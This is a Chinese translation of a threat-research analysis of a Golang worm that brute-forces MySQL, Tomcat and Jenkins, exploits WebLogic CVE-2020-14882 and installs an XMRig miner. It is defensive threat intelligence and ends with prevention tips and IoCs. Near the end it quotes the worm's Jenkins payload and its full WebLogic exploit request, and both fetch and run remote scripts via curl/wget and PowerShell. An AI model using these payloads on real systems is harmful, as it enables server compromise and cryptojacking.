譯者:知道創宇404實驗室翻譯組
原文鏈接:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/
介紹
12月初,我們發現了一種新的用Golang編寫的蠕蟲。該蠕蟲延續了 Golang在2020年流行的多平臺惡意軟件趨勢。
該蠕蟲試圖在網絡中傳播,以便大規模運行XMRig Miner。惡意軟件同時針對windows和linux服務器,可以輕松地從一個平臺轉移到另一個平臺。它的目標是面向公眾的服務:密碼較弱的MySQL、Tomcat管理面板和Jenkins。在較舊的版本中,該蠕蟲還嘗試利用WebLogic的最新漏洞:CVE-2020-14882。
在我們的分析過程中,攻擊者不斷更新C&C服務器上的蠕蟲。這表明該蠕蟲處于活躍狀態,并且可能在將來的更新中針對其他弱配置的服務。
技術分析
該攻擊使用三個文件:一個dropper腳本(bash或powershell)、一個Golang二進制蠕蟲和一個XMRig Miner,所有這些文件都托管在同一C&C上。
目前,還未檢測到ELF蠕蟲二進制文件和bash dropper腳本。
圖1顯示了VirusTotal中的ELF蠕蟲二進制檢測結果。
圖1:在VirusTotal(ead2cf8ab7aef63706b40eb57d668d0a)中完全未檢測到ELF文件
該惡意軟件在Linux和Windows操作系統上的行為類似。我們將在下面描述Linux蠕蟲感染流程。
Linux蠕蟲感染流程
在執行后,蠕蟲會檢查受感染計算機上的進程是否正在偵聽端口52013。此端口上存在的偵聽器可充當惡意軟件的互斥體。如果該端口的套接字已經打開,則實例將退出,否則它將在該端口上打開網絡套接字。
在舊版本中,該蠕蟲會將XMRig Miner作為Network01解壓縮到tmp文件夾中并運行它。 使用名為go-bindata的Go資源嵌入包將礦工嵌入Golang二進制文件中。惡意軟件使用bindataFile函數解壓縮嵌入式XMRig Miner二進制文件。圖2顯示了此文件中的函數。
圖2:xmrigu linuxu amd64.go文件
惡意軟件將使用TCP-SYN掃描網絡,以便找到它可以暴力攻擊并在網絡上傳播的服務。它將掃描具有與這些服務有關的開放端口的IP:蠕蟲的較舊版本上為8080(對于Tomcat和Jenkins)、3306(對于MySQL)和7001(對于WebLogic)。這些漏洞利用程序均在src“exp”(漏洞利用)代碼下具有一個程序包。
圖3:exp文件和函數
蠕蟲使用gopacket庫,該庫為Go提供C綁定,以使用libpcap讀取網絡數據包。通過運行pcapc,蠕蟲會獲取用于收集ACKS的網絡數據,并繼續對服務進行暴力破解。圖4顯示了蠕蟲在Tomcat和MySQL服務上的暴力破解以及利用。
圖4:蠕蟲輸出的片段
攻擊后,惡意軟件將提供加載程序腳本:ld.sh(Linux)和ld.ps1(Windows)。加載程序負責在被利用的服務上刪除并運行XMRig Miner和Golang蠕蟲。圖5和6中的加載程序腳本如下:
圖5:ldr.sh——基于Linux的Dropper bash腳本
圖6:ldr.ps1——基于Windows的Dropper powershell腳本
攻擊流程
下面介紹每種服務的攻擊流程。
MySql:3306端口
該惡意軟件將運行暴力攻擊。該惡意軟件使用包含弱憑據的硬編碼字典(例如root:123456)來進行此攻擊。
成功登錄后,它將運行一個shellcode,以使用mysql UDF獲得本地特權升級。該漏洞利用程序以十六進制字符串形式嵌入二進制文件中。該蠕蟲針對每種操作系統和體系結構(UDFLINUX32,UDFLINUX64,UDFLWIN32和UDFWIN64)都有利用。瀏覽此處以獲取有關漏洞利用的更多信息。
運行漏洞利用程序后,有效負載將使用sys_exec命令刪除并運行加載程序腳本。URLWIN和URLLINUX存儲刪除程序腳本URL。圖7和8顯示了每個操作系統的有效負載。
圖7:MySQL查詢——Linux有效負載
圖8:MySQL查詢——Windows有效負載
Tomcat:8080端口
惡意軟件將使用基本身份驗證在管理面板上運行憑據。
圖9:Tomcat管理面板的身份驗證請求示例
試用成功后,惡意軟件將嘗試部署WAR文件(Web應用程序資源),該文件將用于傳輸包含惡意有效負載的1.jsp文件。
該惡意軟件將發送Get請求并使用jsp文件解析參數%s/1.jsp?win=%s&linux=%s。這些參數將包含dropper腳本URL。然后,jsp腳本將刪除并運行加載程序。
圖10:1.jsp文件腳本
Jenkins:端口8080
與以前的攻擊類似,該惡意軟件暴力破解Jenkins密碼,登錄并運行以下負載:
cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
WebLogic:7001端口
在舊版本中,該惡意軟件利用了最新的WebLogic遠程代碼執行漏洞CVE-2020-14882。它將獲取請求發送到WebLogic服務,并將GET請求標頭用作有效負載的一部分。
GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();JAVA.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=**req.getHeader(“cmd”)**;String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,**req.getHeader(“win”)**}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();
weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,Application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
**cmd**: ls
**linux**: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
**win**: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
預防措施
1.使用復雜的密碼,限制登錄嘗試,并在可能的情況下使用2FA(雙重身份驗證)。
2.盡量減少使用面向公眾的服務。
3.使用最新的安全補丁更新軟件。
4.使用Intezer Protect之類的Cloud Workload Protection Platform(CWPP)可獲得對系統代碼的完整運行時可見性,并在任何惡意或未經授權的代碼上收到警報。 這里有一個免費的社區版。
總結
在2020年,我們看到了針對不同平臺(包括Windows、Linux、Mac和Android)的Golang惡意軟件。這種情況將在2021年繼續下去。
事實上,蠕蟲的PE和ELF惡意軟件的代碼幾乎相同,而ELF惡意軟件在VirusTotal中未被檢測到,這表明Linux威脅仍然在大多數安全和檢測平臺下存在。
IoCs
C&C
185[.]239[.]242[.]71(ZoomEye搜索結果)
Files